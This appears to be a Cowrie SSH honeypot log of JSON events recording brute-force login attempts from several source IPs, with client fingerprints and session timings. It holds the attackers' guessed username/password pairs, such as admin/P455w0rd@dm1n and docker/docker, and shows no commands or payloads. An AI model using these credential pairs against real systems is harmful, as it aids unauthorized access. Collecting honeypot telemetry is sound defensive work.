{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:49.634525Z","src_ip":"170.79.37.88","session":"80d84f542e2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:49.739726Z","src_ip":"170.79.37.88","session":"80d84f542e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P455w0rd@dm1n","message":"login attempt [admin/P455w0rd@dm1n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:50.175777Z","src_ip":"170.79.37.88","session":"80d84f542e2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.247.153.211","src_port":53218,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bea097beff2","protocol":"ssh","message":"New connection: 223.247.153.211:53218 (10.17.0.5:22) [session: 8bea097beff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:50.382185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:50.390954Z","src_ip":"223.247.153.211","session":"8bea097beff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:51.201793Z","src_ip":"223.247.153.211","session":"8bea097beff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:51.277842Z","src_ip":"170.79.37.88","session":"80d84f542e2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41198,"dst_ip":"159.203.135.109","dst_port":22,"session":"31a3e271a52c","protocol":"ssh","message":"New connection: 192.109.200.78:41198 (159.203.135.109:22) [session: 31a3e271a52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:51.302037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:51.308196Z","src_ip":"192.109.200.78","session":"31a3e271a52c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:51.394942Z","src_ip":"192.109.200.78","session":"31a3e271a52c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:51.644190Z","src_ip":"192.109.200.78","session":"31a3e271a52c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"a","message":"login attempt [username/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:52.182588Z","src_ip":"223.247.153.211","session":"8bea097beff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:52.728668Z","src_ip":"192.109.200.78","session":"31a3e271a52c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:53.520700Z","src_ip":"223.247.153.211","session":"8bea097beff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41206,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a2faedc7535","protocol":"ssh","message":"New connection: 192.109.200.78:41206 (159.203.135.109:22) [session: 4a2faedc7535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:55.131384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:55.136474Z","src_ip":"192.109.200.78","session":"4a2faedc7535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:55.223148Z","src_ip":"192.109.200.78","session":"4a2faedc7535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:55.478276Z","src_ip":"192.109.200.78","session":"4a2faedc7535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:56.684497Z","src_ip":"192.109.200.78","session":"4a2faedc7535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55788,"dst_ip":"159.203.135.109","dst_port":22,"session":"b47fc621803a","protocol":"ssh","message":"New connection: 192.109.200.78:55788 (159.203.135.109:22) [session: b47fc621803a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:58.827731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:58.933384Z","src_ip":"192.109.200.78","session":"b47fc621803a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:58.937724Z","src_ip":"192.109.200.78","session":"b47fc621803a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:59.312814Z","src_ip":"192.109.200.78","session":"b47fc621803a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56852,"dst_ip":"159.203.135.109","dst_port":22,"session":"85adb2e2771d","protocol":"ssh","message":"New connection: 159.203.92.129:56852 (159.203.135.109:22) [session: 85adb2e2771d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:59.741528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:59.747310Z","src_ip":"159.203.92.129","session":"85adb2e2771d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:59.752137Z","src_ip":"159.203.92.129","session":"85adb2e2771d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"SOS","password":"123456","message":"login attempt [SOS/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:59.766333Z","src_ip":"159.203.92.129","session":"85adb2e2771d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:00.406084Z","src_ip":"192.109.200.78","session":"b47fc621803a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:00.899070Z","src_ip":"159.203.92.129","session":"85adb2e2771d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55794,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2664aa127ae","protocol":"ssh","message":"New connection: 192.109.200.78:55794 (159.203.135.109:22) [session: f2664aa127ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:02.765171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:02.770285Z","src_ip":"192.109.200.78","session":"f2664aa127ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:02.853683Z","src_ip":"192.109.200.78","session":"f2664aa127ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:03.102602Z","src_ip":"192.109.200.78","session":"f2664aa127ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:04.206612Z","src_ip":"192.109.200.78","session":"f2664aa127ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55804,"dst_ip":"159.203.135.109","dst_port":22,"session":"36fa629ff4b2","protocol":"ssh","message":"New connection: 192.109.200.78:55804 (159.203.135.109:22) [session: 36fa629ff4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:06.434886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:06.441769Z","src_ip":"192.109.200.78","session":"36fa629ff4b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:06.528923Z","src_ip":"192.109.200.78","session":"36fa629ff4b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:06.789792Z","src_ip":"192.109.200.78","session":"36fa629ff4b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:07.878345Z","src_ip":"192.109.200.78","session":"36fa629ff4b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37982,"dst_ip":"159.203.135.109","dst_port":22,"session":"cac689c55426","protocol":"ssh","message":"New connection: 192.109.200.78:37982 (159.203.135.109:22) [session: cac689c55426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:10.239334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:10.244968Z","src_ip":"192.109.200.78","session":"cac689c55426","protocol":"ssh"}
